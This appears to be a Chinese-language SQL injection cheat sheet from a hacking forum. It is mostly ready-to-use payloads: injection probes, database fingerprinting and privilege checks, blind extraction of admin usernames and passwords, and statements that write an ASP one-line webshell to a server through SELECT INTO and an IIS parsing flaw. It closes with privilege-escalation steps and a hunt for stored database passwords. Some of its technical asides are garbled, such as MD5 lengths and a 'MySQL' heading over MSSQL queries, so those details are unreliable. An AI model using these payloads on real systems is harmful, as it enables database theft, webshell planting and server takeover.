簡單判定有無漏洞: 粗略型:
複製代碼
1. 數字型:
複製代碼
2.字元型:
- ' and '1'='1 ' and '1'='2
複製代碼
3.搜尋型:
- %' and 1=1 and '%'='% 或者 %' and 1=2 and '%'='%
複製代碼
(PS:第三個大家可能不常用,他一般在ASP指令碼中一般寫成:keyword=request(”keyword”),賦值“KYO”到SQL語句中的時候即變為Select * from 表名 where keyword like ‘%KYO%’)
簡單判斷資料庫資訊:
語句型(IIS報不報錯,語句自己區分): and user>0 and (select count(*) from msysobjects)>0 ……(分頁錯誤為access資料庫) and (select count(*) from sysobjects)>0 ……(頁面正常為MSSQL資料庫) and db_name()>0 ……(爆資料庫名) version>0 (爆SQLServer版本資訊以及伺服器作業系統的類型和版本資訊) 粗略型:加 ’(根據伺服器報錯的資訊來判斷) 加 ;--(;和--MSSQL資料庫裡面一般都有, ; 表示分離,-- 則是注釋符ACCESS資料庫裡沒有)
判斷MYSQL許可權: and 0<>(Select ISSRVROLEMEMBER(’sysadmin’))--(頁面正常則為SA) and 0<>(Select IS_MEMBER(’db_owner’))--(頁面正常則為db_owner) and 0<>(Select IS_MEMBER(’public’))--(頁面正常則是public)
PS:以上方法適用於參數是int的時候,若為字元型,需在參數後添加’和查詢語句後添加;--
開始進行SQL注入(ACCESS):
猜解表名: and 0<>(select count(*) from 表名) 或and exists(Select * from 表名) and 1<(select count(*) from 表名) (分頁錯誤說明帳號數目就是1個) 猜解欄位: and exists(Select 欄位名 from 表名)(頁面正常存在,不正常不存在) 猜解使用者名稱和密碼長度: and(Select top 1 len(列名) from 表名)>N (TOP表示把最前面的一條記錄提取出來;N為變換猜解的列長度,分頁錯誤即說明該列長度為N) 如:and 1=(select count(*) from user where len(name)>6) 錯誤 and 1=(select count(*) from user where len(name)>5) 正確 則長度是6
猜解使用者名稱和密碼:and (select top 1 asc(mid(列名,1,1)) from 表名)>0 如:and (select top 1 asc(mid(user,1,1)) from name)>96頁面正常 and (select top 1 asc(mid(user,1,1)) from name)>97分頁錯誤 則ASCLL碼為97
PS:因為MD5的密文只有16,18,32,40這幾個,所以猜解密碼的時候只要試一試15,16,17,18,31,32,39,40等就簡單些。 開始進行SQL注入(MYSQL):
爆出表名和欄位: having 1=1-- 插入新記錄: group by users.ID having 1=1-- group by users.ID, users.username, users.password, users.privs having 1=1-- ; insert into users values( 666, attacker, foobar, 0xffff )-- 猜解表名:and (select top 1 name from sysobjects where xtype='u')>0 (獲得第一個表名) and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0(獲得第二個表名) ……………… 猜解列名:and (select top 1 col_name(object_id('欄位'),1) from sysobjects)>0(得到欄位的第一個列名) 猜解欄位內容:and (select top 1 列名 from [表名])>0 如:and (select top 1 username from [admin])>0 (擷取使用者名稱) and (select top 1 password from [admin])>0 (擷取密碼)
匯出webshell:
1.利用SQL執行命令功能匯出WebShell: SELECT '<%execute request("a")%>' into [vote] in 'd:\web\x.asp;.xls' 'excel 8.0;' from vote PS:需提供SQL執行功能且知道絕對路徑方可使用(vote為已知表段) 2.建立一個有一個A欄位的表 表名為a 欄位類型為字元 長度為50,在表A的a欄位插入密碼為90sec的一句話木馬,把表a的內容匯出為實體路徑的一個EXCEL檔案,匯出為EXCEL後在利用IIS解析漏洞就可以變成小馬了。 語句:
- create table cmd (a varchar(50))
- insert into cmd (a) values ('<%execute request("90sec")%>')
- select * into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd
- drop table cmd
複製代碼
提權:
1.system許可權下直接添加帳號(可能的話):直接CMD命令添加 2.使用shell內建的提權功能:Serv_U,pcAnywhere,Radmin密碼讀取等,全部試一試 3.利用系統的漏洞進行溢出提權:利用巴西烤肉提權,在CMD命令一行裡輸入C:\recycler\1.exe空格“CMD命令”,1.exe就是巴西烤肉咯 4.用軟體的漏洞來提權(這個機會比較渺茫,個人沒有成功過) 5.在conn.asp webconfig.asp等檔案尋找SA密碼或者尋找inc.php 等檔案裡面的ROOT密碼(可以用CMD語句尋找,如:利用CMD命令 dir /s d:\conn.asp 或者 dir /s d:\*inc*.php 來尋找設定檔)